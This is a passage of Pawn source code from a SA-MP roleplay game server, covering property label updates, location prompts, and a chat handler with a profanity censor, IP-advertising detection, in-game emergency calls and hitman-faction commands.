		  format(string, sizeof(string), "{3366ff}SBiz ID %d \n{FFFFFF}%s \n{3366ff}This Business is for sale \nOwned by: {FFFFFF}%s \n{3366ff}Fee: {FFFFFF}$%s \n{3366ff}Cost: {FFFFFF}$%s \n{3366ff}to buy this Business type {FFFFFF}/buybiz",SBizzInfo[h],SBizzInfo[h][sbMessage],SBizzInfo[h][sbOwner],FormatNumber(SBizzInfo[h][sbEntranceCost]),FormatNumber(SBizzInfo[h][sbForosh]));
		  UpdateDynamic3DTextLabelText(sbizer[h], COLOR_BIZ,string);
	   }
	}
	for(new h = 0; h < sizeof(HouseInfo); h++)
	{
	   if(HouseInfo[h][hOwned] == 1) // kharidari shode
	   {
		  if(HouseInfo[h][hRentabil] == 0)
		  {
			 format(string, sizeof(string), "{009A00}House ID %d\n{009A00}This house is owned by: {FFFFFF}%s \n{009A00}Level: {FFFFFF}%d",HouseInfo[h][hSQLID],HouseInfo[h][hOwner], HouseInfo[h][hLevel]);
			 UpdateDynamic3DTextLabelText(houser[h], COLOR_HOUSE,string);
		  }
		  else if(HouseInfo[h][hRentabil] != 0)
		  {
			 format(string, sizeof(string), "{009A00}House ID %d\n{009A00}This house is owned by: {FFFFFF}%s \n{009A00}Rent Price: {FFFFFF}$%s \n{009A00}Level: {FFFFFF}%d \n{009A00}To rent a room type {FFFFFF}/rentroom",HouseInfo[h][hSQLID],HouseInfo[h][hOwner],FormatNumber(HouseInfo[h][hRent]),HouseInfo[h][hLevel]);
			 UpdateDynamic3DTextLabelText(houser[h], COLOR_HOUSE,string)
		  }
	   }
	   else if(HouseInfo[h][hOwned] == 0) // kharidari nashode
	   {
		  format(string, sizeof(string), "{009A00}House ID %d\n{009A00}This house is for sale \n{009A00}Cost: {FFFFFF}$%s \n{009A00}Level: {FFFFFF}%d \n{009A00}To buy this house type {FFFFFF}/buyhouse",HouseInfo[h][hSQLID],FormatNumber(HouseInfo[h][hValue]),HouseInfo[h][hLevel]);
		  UpdateDynamic3DTextLabelText(houser[h], COLOR_HOUSE,string)
	   }
	   else if(HouseInfo[h][hOwned] == 2) // kharidari shode vali baraye foroshe
	   {
		  if(HouseInfo[h][hRentabil] == 0)
		  {
			 format(string, sizeof(string), "{009A00}House ID %d\n{009A00}This House is for sale\nOwned by: {FFFFFF}%s \n{009A00}Level: {FFFFFF}%d\n{009A00}Cost: {FFFFFF}$%s\n{009A00}To buy this house type {FFFFFF}/buyhouse",HouseInfo[h][hSQLID],HouseInfo[h][hOwner], HouseInfo[h][hLevel], FormatNumber(HouseInfo[h][hForosh]));
			 UpdateDynamic3DTextLabelText(houser[h], COLOR_HOUSE,string);
		  }
		  else if(HouseInfo[h][hRentabil] == 1)
		  {
			 format(string, sizeof(string), "{009A00}House ID %d\n{009A00}This House is for sale\nOwned by: {FFFFFF}%s \n{009A00}Rent Price: {FFFFFF}$%s\n{009A00}Level: {FFFFFF}%d \n{009A00}Cost: {FFFFFF}$%s\n{009A00}To rent a room type {FFFFFF}/rentroom\n{009A00}To buy this house type {FFFFFF}/buyhouse",HouseInfo[h][hSQLID],HouseInfo[h][hOwner],FormatNumber(HouseInfo[h][hRent]),HouseInfo[h][hLevel], FormatNumber(HouseInfo[h][hForosh]));
			 UpdateDynamic3DTextLabelText(houser[h], COLOR_HOUSE,string);
		  }
	   }
	}
	for(new h = 0; h < sizeof(BizzInfo); h++)
	{
	   if(BizzInfo[h][bOwned] == 0)
	   {
		  format(string, sizeof(string), "{3366ff}Biz ID %d \n{FFFFFF}%s \n{3366ff}This Business is for sale \n Cost: {FFFFFF}$%s \n{3366ff}Level: {FFFFFF}%d \n{3366ff}to buy this Business type {FFFFFF}/buybiz",BizzInfo[h],BizzInfo[h][bMessage],FormatNumber(BizzInfo[h][bBuyPrice]),BizzInfo[h][bLevelNeeded]);
		  UpdateDynamic3DTextLabelText(bizer[h], COLOR_BIZ,string);
	   }
	   else if(BizzInfo[h][bOwned] == 1)
	   {
		  format(string, sizeof(string), "{3366ff}Biz ID %d \n{FFFFFF}%s \n{3366ff}This Business is owned by: {FFFFFF}%s \n{3366ff}Entrance Fee: {FFFFFF}$%s \n{3366ff}Type: {FFFFFF}/enter to enter",BizzInfo[h],BizzInfo[h][bMessage],BizzInfo[h][bOwner],FormatNumber(BizzInfo[h][bEntranceCost]));
		  UpdateDynamic3DTextLabelText(bizer[h], COLOR_BIZ,string);
	   }
	   else if(BizzInfo[h][bOwned] == 2)
	   {
		  format(string, sizeof(string), "{3366ff}Biz ID %d \n{FFFFFF}%s \n{3366ff}This Business is for sale \n{3366ff}Owned by: {FFFFFF}%s \n{3366ff}Entrance Fee: {FFFFFF}$%s \n{3366ff}Cost: {FFFFFF}$%s \n{3366ff}Type: {FFFFFF}/enter to enter \n{3366ff}to buy this Business type {FFFFFF}/buybiz",BizzInfo[h],BizzInfo[h][bMessage],BizzInfo[h][bOwner],FormatNumber(BizzInfo[h][bEntranceCost]),FormatNumber(BizzInfo[h][bForosh]));
		  UpdateDynamic3DTextLabelText(bizer[h], COLOR_BIZ,string);
	   }
	}


	for(new i = 0;i<Akharish;i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  if (GetPlayerState(i) == 1 && PlayerToPoint(2.0, i,757.5751,5.6157,1000.7015))
		  {
			 GameTextForPlayer(i, "~g~Welcome to gym~n~~w~Type ~r~/fightstyle ~w~to learn new fight moves.", 5000, 3);
		  }
		  else if (GetPlayerState(i) == 1 && PlayerToPoint(1.0, i,1615.0603,1815.7771,10.8203))
		  {
			 if(PlayerInfo[i][pMember] == 4 || PlayerInfo[i][pLeader] == 4)
			 {
				GameTextForPlayer(i, "~w~Type: ~r~/up~n~~w~for go to the Helicopter", 5000, 3);
			 }
			 else
			 {
				GameTextForPlayer(i, "~r~Medic Elevar!", 5000, 3);
			 }
		  }
		  if(GetPlayerState(i) == 1 && PlayerToPoint(1.0, i,2770.6973,-1628.4293,12.1775))
		  {
			 if(PlayerInfo[i][pMatsLic] >= 1)
			 {
				if(PlayerInfo[i][pJob] == 9)
				{
					GameTextForPlayer(i, "~w~Type /materials get for buy materials.", 2000, 3);
				}
				else
				{
					GameTextForPlayer(i, "~w~You are not an Arms Dealer.", 2000, 3);
				}
			 }
			 else
			 {
				GameTextForPlayer(i, "~w~You haven't a materials license.", 2000, 3);
			 }
		  }
		  if(GetPlayerState(i) == 1 && PlayerToPoint(1.0, i,1712.9865,913.2946,10.8203))
		  {
			 if(PlayerInfo[i][pMatsLic] >= 1)
			 {
				if(PlayerInfo[i][pJob] == 9)
				{
					GameTextForPlayer(i, "~w~Type /materials deliver~n~for materials deliver.", 2000, 3);
				}
				else
				{
					GameTextForPlayer(i, "~w~You are not an Arms Dealer.", 2000, 3);
				}
			 }
			 else
			 {
				GameTextForPlayer(i, "~w~You haven't a materials license.", 2000, 3);
			 }
		  }
		  else if (GetPlayerState(i) == 1 && PlayerToPoint(1.0, i,1607.4210,1787.6932,30.4688))
		  {
			 if(PlayerInfo[i][pMember] == 4 || PlayerInfo[i][pLeader] == 4)
			 {
				GameTextForPlayer(i, "~w~Type: ~r~/down~n~~w~for go down", 5000, 3);
			 }
			 else
			 {
				GameTextForPlayer(i, "~r~Medic Elevar!", 5000, 3);
			 }
		  }
		  else if (PlayerToPoint(1.0, i,960.3047,1784.0295,8.8516))
		  {
			 if(PlayerInfo[i][pMember] == 10 || PlayerInfo[i][pLeader] == 10)
			 {
				GameTextForPlayer(i, "~w~Type: ~r~/up~n~~w~for go to the Helicopter", 5000, 3);
			 }
			 else
			 {
				GameTextForPlayer(i, "~r~Taxi Elevator!", 5000, 3);
			 }
		  }
		  else if (PlayerToPoint(1.0, i,946.0334,1790.6084,15.7941))
		  {
			 if(PlayerInfo[i][pMember] == 10 || PlayerInfo[i][pLeader] == 10)
			 {
				GameTextForPlayer(i, "~w~Type: ~r~/down~n~~w~for go down", 5000, 3);
			 }
			 else
			 {
				GameTextForPlayer(i, "~r~Taxi Elevator!", 5000, 3);
			 }
		  }
		  else if (GetPlayerState(i) == 1 && PlayerToPoint(1.0, i,1524.7275,-1677.5446,5.8906))
		  {
			 if(IsACop(i))
			 {
				GameTextForPlayer(i, "~g~Police Department elevator~n~~w~Type: ~r~/pdup ~n~~w~to go up", 5000, 3);
			 }
			 else
			 {
				GameTextForPlayer(i, "~r~Cop only!", 5000, 3);
			 }
		  }
		  else if(PlayerToPoint(1.0, i,1641.388671,-2177.379638,13.554687))
		  {
			 GameTextForPlayer(i,"~g~WELCOME TO F~n~~w~TYPE ~r~/EXAM ~w~TO OBTAIN A ~y~DRIVING~n~LICENSE~n~~w~COST: ~g~$50",1200,3);
		  }
		  else if (GetPlayerState(i) == 1 && PlayerToPoint(1.0, i,242.3151,66.3457,1003.6406))
		  {
			 if(IsACop(i))
			 {
				GameTextForPlayer(i, "~g~Police Department elevator~n~~w~Type: ~r~/pddown ~n~~w~to go down", 5000, 3);
			 }
			 else
			 {
				GameTextForPlayer(i, "~r~Cop only!", 5000, 3);
			 }
		  }
	   }
	}
	return 1;
}
function IsThisTextBad(text[])
{
	new offset;
	new len;
 	for(new i=0; i<MAX_FOSH; i++)
	{
		offset = strfind(text, FoshWords[i], true);
		if(offset > -1)
		{
			len = strlen(FoshWords[i]);
			if(len < 3) break;
			return true;
		}
	}
	return false;
}
function CensorText(text[])
{
	new offset;
	new len;
 	for(new i=0; i<MAX_FOSH; i++)
	{
		offset = strfind(text, FoshWords[i], true);
		if(offset > -1)
		{
			len = strlen(FoshWords[i]);
			if(len < 3) break;
			for(new y=0; y<len; y++)
			{
				text[offset+y] = '*';
			}
		}
	}
}
public OnPlayerText(playerid, text[])
{
if(FCNPC_IsValid(playerid)) return 0;
new NabayadBere = 0;
if(Specing[playerid] >= 1) {
SCM(playerid, COLOR_YELLOW2, "Error: You can't send chat when you are specing.");
NabayadBere = 1;
return 0;
}
if(PINFO[playerid][pAdmin]<12)CensorText(text);
new nonecolor[144];
format(nonecolor, sizeof(nonecolor), text);
if(ChatColor[playerid]) AllowColor(text);
	//AFKCheckActiveAdad[playerid] = 0;
	new string11[1024];
	new sender1[40];
	GetPlayerName(playerid, sender1, sizeof(sender1));
	for(new cnt = 0; cnt < sizeof(SusWords); cnt++)
	if(strfind(text, SusWords[cnt], true) != -1)
	{
		         if(strcmp(text, LastMessageWarned[playerid], false))
         {
         if(NabayadBere == 0)
         {
	if(PINFO[playerid][pAdmin] < 12)
	{
		format(string11, sizeof(string11), "[AD-{00FF00}Chat{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", sender1, playerid, nonecolor);
		SendAdminMMessage(COLOR_SINAGHERMEZ, string11);
		strcpy(LastMessageWarned[playerid],text,149);
		break;
	 }
	 }
	 }
	}
	new nick[40];
	GetPlayerName(playerid, nick, sizeof(nick));
	if((strlen(nick) + strlen(text)) > 120) return 0;
	new sendername[MAX_PLAYER_NAME];
	new giveplayer[MAX_PLAYER_NAME];
	new tmp[1024];
	new string[1024];
	new sender[40];
	GetPlayerName(playerid, sender, sizeof(sender));
	new strchat3[1100];
	format(strchat3, sizeof(strchat3), "[AD-{00FF00}Chat{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", sender, playerid, text);
	SendMessage(Specer[playerid],  COLOR_SINAGHERMEZ, strchat3);
	strcpy(LastMessageWarned[playerid],text,149);

	for(new i = 0;i<Akharish;i++) {
	if(IsPlayerConnected(i) && Specer[i] != 9999 && i != playerid) {
	new Float:x,Float:y,Float:z;
	GetPlayerPos(i, x, y, z);
	if(PlayerToPoint(30.0, playerid,x,y,z)) {

	new strchat4[1100];
	format(strchat4, sizeof(strchat3), "[AD-{00FF00}Chat{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", sender, playerid, text);
	SendMessage(Specer[i],  COLOR_SINAGHERMEZ, strchat3);
	strcpy(LastMessageWarned[playerid],text,149);

	}
	}
	}

	if(TalkingLive[playerid] != 255)
	{
	   GetPlayerName(playerid, sendername, sizeof(sendername));
	   if(PINFO[playerid][pLeader] == 9 || PINFO[playerid][pMember] == 9)
	   {
		  format(string, sizeof(string), "NewsReporter (Live) %s: %s", sendername, text);
		  OOCNews(COLOR_LIGHTGREEN, string);
	   }
	   else
	   {
		  format(string, sizeof(string), "Player (Live) %s: %s", sendername, text);
		  OOCNews(COLOR_LIGHTGREEN, string);
	   }
	   return 0;
	}
	/*
	// Anti fosh by SiNaGaMeR
	for(new cnt = 0; cnt < sizeof(InvalidWords); cnt++)
	{
		if(strfind(text, InvalidWords[cnt], true) != -1)
		{
			Warnings++;
			format(string, sizeof(string), "{FF0000}[Anti-Insult]: {00FF00}Your message is forbidden.");
			SendClientMessage(playerid, -1, string);
			return 0;
		}
	}
	*/
	if(Mobile[playerid] != 9999)
	{
	if(Specing[playerid] >= 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't send chat when you are specing.");
	   new idx;
	   tmp = strtok(text, idx);
	   GetPlayerName(playerid, sendername, sizeof(sendername));
	   format(string, sizeof(string), "%s Says (cellphone): %s", sendername, text);
	   ProxDetector(20.0, playerid, string,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);

	   //printf("callers line %d called %d caller %d",Mobile[Mobile[playerid]],Mobile[playerid],playerid);

	   if(Mobile[playerid] == 9001)
	   {
		  if(!strlen(tmp))
		  {
			 SendMessage(playerid, TEAM_CYAN_COLOR, "Dispatch: Sorry I don't understand?");
			 return 0;
		  }
		  new turner[MAX_PLAYER_NAME];
		  new wanted[128];
		  GetPlayerName(playerid, turner, sizeof(turner));
		  SendMessage(playerid, TEAM_CYAN_COLOR, "Dispatch: We have alerted all units in the area.");
		  SendMessage(playerid, TEAM_CYAN_COLOR, "Thank you for reporting this incident");
		  format(wanted, sizeof(wanted), "Dispatch: All Units IA: Caller: %s",turner);
		  SendTeamBeepMessage(1, TEAM_CYAN_COLOR, wanted);
		  format(wanted, sizeof(wanted), "Dispatch: Incident: %s",text);
			SendTeamMessage(1, TEAM_CYAN_COLOR, wanted);
		  SendMessage(playerid, COLOR_GRAD2, "They Hung Up...");
		  if(PlayerHandsCuffed[playerid] == 0)
		  {
		  SetPlayerSpecialAction(playerid, SPECIAL_ACTION_STOPUSECELLPHONE);
		  }
		  RemovePlayerAttachedObject(playerid, 0);
		  Mobile[playerid] = 9999;
		  return 0;
	   }
	   if(Mobile[playerid] == 9002)
	   {
		  if(!strlen(tmp))
		  {
			 SendMessage(playerid, COLOR_ALLDEPT, "EMERGENCY: Sorry I don't understand?");
			 return 0;
		  }
		  if ((strcmp("no", tmp, true, strlen(tmp)) == 0) && (strlen(tmp) == strlen("no")))
		  {
			 new turner[MAX_PLAYER_NAME];
			 //new wanted[128];
			 GetPlayerName(playerid, turner, sizeof(turner));
			 SendMessage(playerid, COLOR_DBLUE, "Police HQ: We have alerted all units in the area.");
			 SendMessage(playerid, COLOR_DBLUE, "Thank you for reporting this crime.");
			 //format(wanted, sizeof(wanted), "{0000FF}[{00FF00}D-Warn{0000FF}]{FF0000}: %s Alaki Be Ma Zang Zad Va Gozareshi Taghalobi Goft.",turner);
			 //SendFamilyMessage(1, COLOR_DBLUE, wanted, wanted);
			 SendMessage(playerid, COLOR_GRAD2, "   They Hung Up...");
			 Mobile[playerid] = 9999;
		  if(PlayerHandsCuffed[playerid] == 0)
		  {
		  SetPlayerSpecialAction(playerid, SPECIAL_ACTION_STOPUSECELLPHONE);
		  }
		  RemovePlayerAttachedObject(playerid, 0);
			 return 0;
		  }
		  new badguy;
		  //badguy = strval(tmp);
		  badguy = ReturnUser6(tmp);
		  if (IsPlayerConnected(badguy))
		  {
			 if(badguy != INVALID_PLAYER_ID)
			 {
				if (gTeam[badguy] == TEAM_COP || gTeam[badguy] == TEAM_MEDIC)
				{
					SendMessage(playerid, COLOR_DBLUE, "Police HQ: You will have to contact internal affairs. This is an emergency line");
					SendMessage(playerid, COLOR_GRAD2, " They Hung Up...");
		  if(PlayerHandsCuffed[playerid] == 0)
		  {
		  SetPlayerSpecialAction(playerid, SPECIAL_ACTION_STOPUSECELLPHONE);
		  }
		  RemovePlayerAttachedObject(playerid, 0);
					Mobile[playerid] = 9999;
					return 0;
				}
				if (GetPlayerWantedLevel(badguy) > 0)
				{
					SendMessage(playerid, COLOR_DBLUE, "Police HQ: Units are already assigned to that case");
					SendMessage(playerid, COLOR_DBLUE, "Thank you for reporting this crime");
					SendMessage(playerid, COLOR_GRAD2, " They Hung Up...");
					Mobile[playerid] = 9999;
		  if(PlayerHandsCuffed[playerid] == 0)
		  {
		  SetPlayerSpecialAction(playerid, SPECIAL_ACTION_STOPUSECELLPHONE);
		  }
		  RemovePlayerAttachedObject(playerid, 0);
					return 0;
				}
				if (badguy == playerid)
				{
					SendMessage(playerid, COLOR_DBLUE, "Police HQ: Dont Fool Around, This is an emergency line.");
					SendMessage(playerid, COLOR_GRAD2, " They Hung Up...");
		  if(PlayerHandsCuffed[playerid] == 0)
		  {
		  SetPlayerSpecialAction(playerid, SPECIAL_ACTION_STOPUSECELLPHONE);
		  }
		  RemovePlayerAttachedObject(playerid, 0);
		  Mobile[playerid] = 9999;
					return 0;
				}
				SendMessage(playerid, COLOR_DBLUE, "Police HQ: We have alerted all units in the area.");
				SendMessage(playerid, COLOR_DBLUE, "Thank you for reporting this crime");
				SendMessage(playerid, COLOR_GRAD2, " They Hung Up...");
		  if(PlayerHandsCuffed[playerid] == 0)
		  {
		  SetPlayerSpecialAction(playerid, SPECIAL_ACTION_STOPUSECELLPHONE);
		  }
		  RemovePlayerAttachedObject(playerid, 0);
		  Mobile[playerid] = 9999;
				return 0;
			 }//invalid id
			 return 0;
		  }//not connected
		  else
		  {
			 format(string, sizeof(string), "Police HQ: I have no Information on %s, are you sure thats the right name?",tmp);
			 SendMessage(playerid, COLOR_DBLUE, string);
			 return 0;
		  }
	   }
	   if(Mobile[playerid] == 9003)
	   {
		  if(!strlen(tmp))
		  {
			 SendMessage(playerid, COLOR_ALLDEPT, "EMERGENCY: Sorry I don't understand?");
			 return 0;
		  }
		  SendMessage(playerid, COLOR_DBLUE, "Police HQ: If you know the assailant's name or part of it say it now or just say no.");
		  Mobile[playerid] = 9002;
		  return 0;
	   }
	   if(Mobile[playerid] == 9000)
	   {
		  if(!strlen(tmp))
		  {
			 SendMessage(playerid, COLOR_ALLDEPT, "EMERGENCY: Sorry I don't understand, police or paramedic?");
			 return 0;
		  }
		  else if ((strcmp("police", tmp, true, strlen(tmp)) == 0) && (strlen(tmp) == strlen("police")))
		  {
			 SendMessage(playerid, COLOR_ALLDEPT, "EMERGENCY: I am patching you to  Police HQ, please hold.");
			 Mobile[playerid] = 9003;
			 SendMessage(playerid, COLOR_DBLUE, "HQ: Please give me a short description of the crime and location.");
			 return 0;
		  }
		  else if ((strcmp("paramedic", tmp, true, strlen(tmp)) == 0) && (strlen(tmp) == strlen("paramedic")))
		  {
			 SendMessage(playerid, COLOR_ALLDEPT, "EMERGENCY: I am patching you to  Paramedic HQ, please hold.");
			 Mobile[playerid] = 9001;
			 SendMessage(playerid, TEAM_CYAN_COLOR, "Dispatch: Please give me a short description of the Incident.");
			 return 0;
		  }
		  else
		  {
			 SendMessage(playerid, COLOR_ALLDEPT, "EMERGENCY: Sorry I don't understand, police or paramedic?");
			 return 0;
		  }
	   }
	   if(Mobile[playerid] == 3900)
	   {
		  SendFamilyMessage(9, COLOR_GREEN, "You have one new message:");
		  GetPlayerName(playerid, sendername, sizeof(sendername));
		  format(string, sizeof(string), "%s(%d) says: %s", sendername, playerid, text);
		  SendFamilyMessage(9, COLOR_GREEN, string, string);
		  SendMessage(playerid, COLOR_GREEN, "CNN Studio: Thanks for your information !");
		  SendMessage(playerid, COLOR_GRAD2, "   They Hung Up...");
		  if(PlayerHandsCuffed[playerid] == 0)
		  {
		  SetPlayerSpecialAction(playerid, SPECIAL_ACTION_STOPUSECELLPHONE);
		  }
		  RemovePlayerAttachedObject(playerid, 0);
		  Mobile[playerid] = 9999;
		  return 0;
	   }
		if(Mobile[playerid] == 3900)
	   {
		  SendFamilyMessage(9, COLOR_GREEN, "You have one new message:", "[Recon] You have one new message:");
		  GetPlayerName(playerid, sendername, sizeof(sendername));
		  format(string, sizeof(string), "[ID:%d] %s says: %s", playerid, sendername, text);
		  SendFamilyMessage(9, COLOR_GREEN, string, string);
		  SendClientMessage(playerid, COLOR_GREEN, "CNN Studio: Thanks for your information !");
		  SendClientMessage(playerid, COLOR_GRAD2, "   They Hung Up...");
		  if(PlayerHandsCuffed[playerid] == 0)
		  {
		  SetPlayerSpecialAction(playerid, SPECIAL_ACTION_STOPUSECELLPHONE);
		  }
		  RemovePlayerAttachedObject(playerid, 0);
		  Mobile[playerid] = 9999;
		  return 0;

	   }
	   if(IsPlayerConnected(Mobile[playerid]))
	   {
		  if(Mobile[Mobile[playerid]] == playerid)
		  {
			 if(PlayerInfo[Mobile[playerid]][pSpeaker] == 1)
			 {
				ProxDetector(20.0, Mobile[playerid], string,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
			 }
			 else
			 {
				SendMessage(Mobile[playerid], COLOR_YELLOW,string);
				 }
		  }
	   }
	   else
	   {
		  SendMessage(playerid, COLOR_YELLOW,"Theres nobody there");
	   }
	   return 0;
	}



	AFKTime[playerid] = 0;
	if(gPlayerLogged[playerid] == 0)
	{
	   //SCM(playerid,COLOR_SINA3,"First login into the server.");
	   return 0;
	}
	if(mpop[playerid] == 5566)
	{
	   //SCM(playerid,COLOR_SINA3,"First login into the server.");
	   return 0;
	}
	if(PINFO[playerid][pAdmin] < 12)
	{

	   new noghtepos = strfind(text, ".", true);
	   if(noghtepos != -1)
	   {
		  new noghte, adad;
		  for(new i = 0;i<strlen(text);i++)
		  {
			 switch(text[i])
			 {
				case '.':noghte++;
				case 0x30..0x39:adad++;
			 }
		  }
		  if(adad >= 5)
		  {
			 if(noghte >= 3)
			 {
				if(text[noghtepos+1] >= 0x30 && text[noghtepos+1] <= 0x39)
				{
					new strdetect[2048];
					format(strdetect, 2048, "{FFFFFF}%s needs to advertising on the server: %s", PINFO[playerid][pName], text);
					AdminWarn(strdetect);
					return 0;
				}
				if(text[noghtepos+1] == '' || text[noghtepos+1] == ' ')
				{
					if(text[noghtepos+1] >= 0x30 && text[noghtepos+1] <= 0x39)
					{
					   new strdetect[2048];
					   format(strdetect, 2048, "{FFFFFF}%s needs to advertising on the server: %s", PINFO[playerid][pName], text);
					   AdminWarn(strdetect);
					   return 0;
					}
				}
			 }
		  }
	   }

	}


	if(PlayerInfo[playerid][pMuteTime] >= 1)
	{
	   SendMessage(playerid, TEAM_CYAN_COLOR, "You cannot speak, you have been silenced");
	   return 0;
	}
	if(HLapTop[playerid] == true && (PINFO[playerid][pMember] == 8 || PINFO[playerid][pLeader] == 8))
	{
	   new cmd[256];
	   new idx;
	   cmd = strtok(text,idx);
	   if(!strcmp(cmd,"News",true))
	   {
		  tmp = strtok(text,idx);
		  if(!strlen(tmp))
		  {
			 SCM(playerid,COL_SYN,"Syntax: News <Delete/Write/DeleteAll> <ID>");
			 SCM(playerid,COLOR_SINA3,"|________ Agency News ________|");
			 for(new i = 0;i<8;i++)
			 {
				format(string,sizeof string,"ID: %i Sender: %s Text: %s",i,News[i][Sender],News[i][Text]);
				SCM(playerid,COLOR_HITMAN,string);
			 }
			 return 0;
		  }
		  if(!strcmp(tmp,"Delete",true))
		  {
			 tmp = strtok(text,idx);
			 if(!strlen(tmp)) {SCM(playerid,COL_SYN,"Syntax: News Delete <ID>"); return 0; }
			 new nid = strval(tmp);
			 if(nid < 0 || nid > 7) {SCM(playerid,COL_SYN,"Wrong ID, Use a ID between 0 and 7"); return 0; }
			 if(strcmp(News[nid][Sender],PINFO[playerid][pName],true) && PINFO[playerid][pLeader] != 8 && PINFO[playerid][pRank] <= 5) {SCM(playerid,COLOR_SINA3,"This news isn't for you"); return 0; }
			 strmid(News[nid][Sender],"No-one",0,strlen("No-one"),MAX_PLAYER_NAME);
			 strmid(News[nid][Text],"Nothing",0,strlen("Nothing"),256);
			 SCM(playerid,COL_SYN,"News has been deleted successfully.");
			 return 0;
		  }
		  else if(!strcmp(tmp,"Write",true))
		  {
			 tmp = strtok(text,idx);
			 if(!strlen(tmp)) {SCM(playerid,COL_SYN,"Syntax: News Write <ID> <Text>"); return 0; }
			 new nid = strval(tmp);
			 if(nid < 0 || nid > 7) {SCM(playerid,COL_SYN,"Wrong ID, Use a ID between 0 and 7"); return 0; }
			 if(strcmp(News[nid][Sender],"No-one",true)) {SCM(playerid,COL_SYN,"That News is already using by anyone, first delete it."); return 0; }
			 tmp = strtokEx(text,idx);
			 if(!strlen(tmp)) {SCM(playerid,COL_SYN,"Syntax: News Write <ID> <Text>"); return 0; }
			 if(strlen(tmp) < 10) {SCM(playerid,COL_SYN,"The length of the Text must be higher than 10"); return 0; }
			 strmid(News[nid][Sender],PINFO[playerid][pName],0,strlen(PINFO[playerid][pName]),MAX_PLAYER_NAME);
			 strmid(News[nid][Text],tmp,0,strlen(tmp),256);
			 SCM(playerid,COL_SYN,"News has been writed successfully.");
			 return 0;
		  }
		  else if(!strcmp(tmp,"DeleteAll",true))
		  {
			 if(PINFO[playerid][pLeader] == 8 && PINFO[playerid][pRank] <= 5) {SCM(playerid,COLOR_HITMAN,"You must be a leader of hitman to delete all news."); return 0; }
			 for(new i = 0;i<8;i++)
			 {
				strmid(News[i][Sender],"No-one",0,strlen("No-one"),MAX_PLAYER_NAME);
				strmid(News[i][Text],"Nothing",0,strlen("Nothing"),256);
			 }
			 SCM(playerid,COL_SYN,"News has been deleted successfully.");
			 return 0;
		  }
		  else {SCM(playerid,COL_SYN,"Syntax: News <Delete/Write/DeleteAll> <ID>"); return 0;}
	   }
	   else if(!strcmp(cmd,"MyContract",true))
	   {
		  if(AgentHitID[playerid] == INVALID_PLAYER_ID) {SCM(playerid,COLOR_SINA3,"You haven't any contract."); return 0;}
		  new strbitch[256];
		  format(strbitch,256,"Your contract is %s(%i)",PINFO[AgentHitID[playerid]][pName],AgentHitID[playerid]);
		  SCM(playerid,COLOR_HITMAN,strbitch);
		  return 0;
	   }
	   else if(!strcmp(cmd,"Gethit",true))
	   {
		  if(AgentHitID[playerid] != INVALID_PLAYER_ID) {SCM(playerid,COLOR_SINA3,"You already on gethiting, please wait ..."); return 0; }
		  if(AgentContractID[playerid] != INVALID_PLAYER_ID) {SCM(playerid,COL_SYN,"You already on duty."); return 0;}
		  AgentHitID[playerid] = INVALID_PLAYER_ID;
		  AgentContractID[playerid] = ReturnAgentID();
		  AgentContractIDUsed[ReturnAgentID()] = true;
		  SCM(playerid,COLOR_HITMAN,"You go on duty with your Hitman job.");
		  return 0;
	   }
	   else if(!strcmp(cmd,"Leavehit",true))
	   {
		  if(AgentContractID[playerid] == INVALID_PLAYER_ID) {SCM(playerid,COLOR_SINA3,"You are not on duty(gethit)."); return 0;}
		  if(AgentHitID[playerid] == INVALID_PLAYER_ID)
		  {
			 AgentContractIDUsed[AgentContractID[playerid]] = false;
			 AgentContractID[playerid] = INVALID_PLAYER_ID;
			 AgentHitID[playerid] = INVALID_PLAYER_ID;
		  }
		  else
		  {
			 AgentContractIDUsed[AgentContractID[playerid]] = false;
			 AgentContractID[playerid] = INVALID_PLAYER_ID;
			 ContractsCount ++;
			 ContractID[AgentHitID[playerid]] = ReturnContractID();
			 ContractIDUsed[ReturnContractID()] = true;
			 AgentHiterID[AgentHitID[playerid]] = INVALID_PLAYER_ID;
			 AgentHitID[playerid] = INVALID_PLAYER_ID;
		  }
		  SCM(playerid,COLOR_SINA3,"You have leaved from hit duty successfully.");
		  return 0;
	   }
	   else if(!strcmp(cmd,"Order",true))
	   {
		  if(OnCheckpoint[playerid] == 1) {SCM(playerid,COLOR_Good,"You already have an enable checkpoint."); return 0;}
		  if(PINFO[playerid][pGunLic] <= 0) return SCM(playerid, COLOR_LIGHTBLUE, "You haven't a weapon license.");
		  tmp = strtok(text,idx);
		  if(!strlen(tmp))
		  {
			 SCM(playerid,COL_SYN,"Syntax: Order <ID>");
			 SCM(playerid,COL_SYN,"Rank 1 - OrderID 1(Knife, Silenced 9mm MP5 SNIPER)");
			 SCM(playerid,COL_SYN,"Rank 2 - OrderID 2(Knife, Silenced 9mm, M4, MP5 SNIPER)");
			 SCM(playerid,COL_SYN,"Rank 2 - OrderID 3(Knife, Silenced 9mm, Ak47, MP5 SNIPER)");
			 SCM(playerid,COL_SYN,"Rank 3 - OrderID 4(Knife, Silenced 9mm, M4, MP5 SNIPER)");
			 SCM(playerid,COL_SYN,"Rank 3 - OrderID 5(Knife, Silenced 9mm, Ak47, MP5 SNIPER)");
			 SCM(playerid,COL_SYN,"Rank 4 - OrderID 6(Knife, Silenced 9mm, M4, MP5 SNIPER)");
			 SCM(playerid,COL_SYN,"Rank 4 - OrderID 7 (Knife, Silenced 9mm, Ak47, MP5 SNIPER)");
			 return 0;
		  }
		  new iid = strval(tmp);
		  if(iid >= 8 || iid <= 0) {SCM(playerid,COLOR_SINA3,"Wrong ID, Type a ID between 1 and 7."); return 0;}
		  switch(iid)
		  {
			 case 1:{HitmanTofangPackage[playerid] = 1;}
			 case 2:{if(PINFO[playerid][pRank] < 2) { SCM(playerid,COLOR_SINA3,"You haven't enough rank."); return 0; } HitmanTofangPackage[playerid] = 2;}
			 case 3:{if(PINFO[playerid][pRank] < 2) { SCM(playerid,COLOR_SINA3,"You haven't enough rank."); return 0; } HitmanTofangPackage[playerid] = 3;}
			 case 4:{if(PINFO[playerid][pRank] < 3) { SCM(playerid,COLOR_SINA3,"You haven't enough rank."); return 0; } HitmanTofangPackage[playerid] = 4;}
